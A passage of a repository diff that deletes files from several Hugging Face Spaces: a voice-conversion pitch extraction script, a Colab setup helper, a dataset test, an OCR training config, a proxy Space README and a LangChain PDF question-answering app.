-            print('%s (%s, #%d): %d pixels, pred %.2g inside %.2g outside' %
-                (labels[label.item()] + (label.item(), bc[label].item(),
-                    inside_pred, outside_pred)))
-
-if __name__ == '__main__':
-    test_main()

spaces/Dragonnext/scylla-proxy/README.md

@@ -1,10 +0,0 @@
----
-title: Scylla OAI Proxy
-emoji: 🐙
-colorFrom: purple
-colorTo: gray
-sdk: docker
-pinned: false
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference

spaces/Eddycrack864/Applio-Inference/infer/modules/train/extract/extract_f0_rmvpe.py

@@ -1,141 +0,0 @@
-import os
-import sys
-import traceback
-
-import parselmouth
-
-now_dir = os.getcwd()
-sys.path.append(now_dir)
-import logging
-
-import numpy as np
-import pyworld
-
-from infer.lib.audio import load_audio
-
-logging.getLogger("numba").setLevel(logging.WARNING)
-
-n_part = int(sys.argv[1])
-i_part = int(sys.argv[2])
-i_gpu = sys.argv[3]
-os.environ["CUDA_VISIBLE_DEVICES"] = str(i_gpu)
-exp_dir = sys.argv[4]
-is_half = sys.argv[5]
-f = open("%s/extract_f0_feature.log" % exp_dir, "a+")
-
-
-def printt(strr):
-    print(strr)
-    f.write("%s\n" % strr)
-    f.flush()
-
-
-class FeatureInput(object):
-    def __init__(self, samplerate=16000, hop_size=160):
-        self.fs = samplerate
-        self.hop = hop_size
-
-        self.f0_bin = 256
-        self.f0_max = 1100.0
-        self.f0_min = 50.0
-        self.f0_mel_min = 1127 * np.log(1 + self.f0_min / 700)
-        self.f0_mel_max = 1127 * np.log(1 + self.f0_max / 700)
-
-    def compute_f0(self, path, f0_method):
-        x = load_audio(path, self.fs)
-        # p_len = x.shape[0] // self.hop
-        if f0_method == "rmvpe":
-            if hasattr(self, "model_rmvpe") == False:
-                from infer.lib.rmvpe import RMVPE
-
-                print("Loading rmvpe model")
-                self.model_rmvpe = RMVPE(
-                    "assets/rmvpe/rmvpe.pt", is_half=is_half, device="cuda"
-                )
-            f0 = self.model_rmvpe.infer_from_audio(x, thred=0.03)
-        return f0
-
-    def coarse_f0(self, f0):
-        f0_mel = 1127 * np.log(1 + f0 / 700)
-        f0_mel[f0_mel > 0] = (f0_mel[f0_mel > 0] - self.f0_mel_min) * (
-            self.f0_bin - 2
-        ) / (self.f0_mel_max - self.f0_mel_min) + 1
-
-        # use 0 or 1
-        f0_mel[f0_mel <= 1] = 1
-        f0_mel[f0_mel > self.f0_bin - 1] = self.f0_bin - 1
-        f0_coarse = np.rint(f0_mel).astype(int)
-        assert f0_coarse.max() <= 255 and f0_coarse.min() >= 1, (
-            f0_coarse.max(),
-            f0_coarse.min(),
-        )
-        return f0_coarse
-
-    def go(self, paths, f0_method):
-        if len(paths) == 0:
-            printt("no-f0-todo")
-        else:
-            printt("todo-f0-%s" % len(paths))
-            n = max(len(paths) // 5, 1)  # 每个进程最多打印5条
-            for idx, (inp_path, opt_path1, opt_path2) in enumerate(paths):
-                try:
-                    if idx % n == 0:
-                        printt("f0ing,now-%s,all-%s,-%s" % (idx, len(paths), inp_path))
-                    if (
-                        os.path.exists(opt_path1 + ".npy") == True
-                        and os.path.exists(opt_path2 + ".npy") == True
-                    ):
-                        continue
-                    featur_pit = self.compute_f0(inp_path, f0_method)
-                    np.save(
-                        opt_path2,
-                        featur_pit,
-                        allow_pickle=False,
-                    )  # nsf
-                    coarse_pit = self.coarse_f0(featur_pit)
-                    np.save(
-                        opt_path1,
-                        coarse_pit,
-                        allow_pickle=False,
-                    )  # ori
-                except:
-                    printt("f0fail-%s-%s-%s" % (idx, inp_path, traceback.format_exc()))
-
-
-if __name__ == "__main__":
-    # exp_dir=r"E:\codes\py39\dataset\mi-test"
-    # n_p=16
-    # f = open("%s/log_extract_f0.log"%exp_dir, "w")
-    printt(sys.argv)
-    featureInput = FeatureInput()
-    paths = []
-    inp_root = "%s/1_16k_wavs" % (exp_dir)
-    opt_root1 = "%s/2a_f0" % (exp_dir)
-    opt_root2 = "%s/2b-f0nsf" % (exp_dir)
-
-    os.makedirs(opt_root1, exist_ok=True)
-    os.makedirs(opt_root2, exist_ok=True)
-    for name in sorted(list(os.listdir(inp_root))):
-        inp_path = "%s/%s" % (inp_root, name)
-        if "spec" in inp_path:
-            continue
-        opt_path1 = "%s/%s" % (opt_root1, name)
-        opt_path2 = "%s/%s" % (opt_root2, name)
-        paths.append([inp_path, opt_path1, opt_path2])
-    try:
-        featureInput.go(paths[i_part::n_part], "rmvpe")
-    except:
-        printt("f0_all_fail-%s" % (traceback.format_exc()))
-    # ps = []
-    # for i in range(n_p):
-    #     p = Process(
-    #         target=featureInput.go,
-    #         args=(
-    #             paths[i::n_p],
-    #             f0method,
-    #         ),
-    #     )
-    #     ps.append(p)
-    #     p.start()
-    # for i in range(n_p):
-    #     ps[i].join()

spaces/Endre/SemanticSearch-HU/src/exploration/mqa_test.py

@@ -1,9 +0,0 @@
-from datasets import load_dataset
-
-faq_hu = load_dataset("clips/mqa", scope="faq", language="hu")
-cqa_hu = load_dataset("clips/mqa", scope="cqa", language="hu")
-
-print(faq_hu)
-print(cqa_hu)
-print(faq_hu['train'][:5])
-print(cqa_hu['train'][:5])

spaces/EronSamez/RVC_HFmeu/colab_for_mdx.py

@@ -1,71 +0,0 @@
-import json
-import os
-import gc
-import psutil
-import requests
-import subprocess
-import time
-import logging
-import sys
-import shutil
-now_dir = os.getcwd()
-sys.path.append(now_dir)
-first_cell_executed = False
-file_folder = "Colab-for-MDX_B"
-def first_cell_ran():
-    global first_cell_executed
-    if first_cell_executed:
-        #print("The 'first_cell_ran' function has already been executed.")
-        return
-
-    
-
-    first_cell_executed = True
-    os.makedirs("tmp_models", exist_ok=True)
-
-
-
-    class hide_opt:  # hide outputs
-        def __enter__(self):
-            self._original_stdout = sys.stdout
-            sys.stdout = open(os.devnull, "w")
-
-        def __exit__(self, exc_type, exc_val, exc_tb):
-            sys.stdout.close()
-            sys.stdout = self._original_stdout
-
-    def get_size(bytes, suffix="B"):  # read ram
-        global svmem
-        factor = 1024
-        for unit in ["", "K", "M", "G", "T", "P"]:
-            if bytes < factor:
-                return f"{bytes:.2f}{unit}{suffix}"
-            bytes /= factor
-        svmem = psutil.virtual_memory()
-
-
-    def use_uvr_without_saving():
-        print("Notice: files won't be saved to personal drive.")
-        print(f"Downloading {file_folder}...", end=" ")
-        with hide_opt():
-            #os.chdir(mounting_path)
-            items_to_move = ["demucs", "diffq","julius","model","separated","tracks","mdx.py","MDX-Net_Colab.ipynb"]
-            subprocess.run(["git", "clone", "https://github.com/NaJeongMo/Colab-for-MDX_B.git"])
-            for item_name in items_to_move:
-                item_path = os.path.join(file_folder, item_name)
-                if os.path.exists(item_path):
-                    if os.path.isfile(item_path):
-                        shutil.move(item_path, now_dir)
-                    elif os.path.isdir(item_path):
-                        shutil.move(item_path, now_dir)
-            try:
-                shutil.rmtree(file_folder)
-            except PermissionError:
-                print(f"No se pudo eliminar la carpeta {file_folder}. Puede estar relacionada con Git.")
-
-    
-    use_uvr_without_saving()
-    print("done!")
-    if not os.path.exists("tracks"):
-        os.mkdir("tracks")
-first_cell_ran()

spaces/EuroPython2022/mmocr-demo/configs/_base_/schedules/schedule_adadelta_18e.py

@@ -1,8 +0,0 @@
-# optimizer
-optimizer = dict(type='Adadelta', lr=0.5)
-optimizer_config = dict(grad_clip=dict(max_norm=0.5))
-# learning policy
-lr_config = dict(policy='step', step=[8, 14, 16])
-# running settings
-runner = dict(type='EpochBasedRunner', max_epochs=18)
-checkpoint_config = dict(interval=1)

spaces/FacundoSander/PdfQA/main.py

@@ -1,53 +0,0 @@
-from langchain.chains import RetrievalQA
-from langchain.llms import OpenAI
-from langchain.document_loaders import PyPDFLoader
-from langchain.text_splitter import CharacterTextSplitter
-from langchain.embeddings import OpenAIEmbeddings
-from langchain.vectorstores import Chroma
-from fastapi import FastAPI
-from fastapi.staticfiles import StaticFiles
-
-app = FastAPI()
-
-app.mount("/static", StaticFiles(directory="static"), name="static")
-
-def create_qa_object(file, chain_type, k):
-    # load document
-    loader = PyPDFLoader(file)
-    documents = loader.load()
-
-    # split the documents into chunks
-    text_splitter = CharacterTextSplitter(chunk_size=1000, chunk_overlap=0)
-    texts = text_splitter.split_documents(documents)
-
-    # select which embeddings we want to use
-    embeddings = OpenAIEmbeddings()
-
-    # create the vectorestore to use as the index
-    db = Chroma.from_documents(texts, embeddings)
-
-    # expose this index in a retriever interface
-    retriever = db.as_retriever(search_type="similarity", search_kwargs={"k": k})
-
-    # create a chain to answer questions
-    qa = RetrievalQA.from_chain_type(
-        llm=OpenAI(), chain_type=chain_type, retriever=retriever, return_source_documents=True)
-
-    return qa
-
-def get_answer(qa, query):
-    result = qa({"query": query})
-    return result["result"]
-
-def get_source_documents(qa, query):
-    result = qa({"query": query})
-    source_documents = result["source_documents"]
-    source_info = []
-    for doc in source_documents:
-        source_info.append(f"{doc.page_content[:700]}...")
-    source_text = " | ".join(source_info)
-    return source_text
-
-if __name__ == "__main__":
-    import uvicorn
-    uvicorn.run("api:app", host="0.0.0.0", port=8000, reload=True)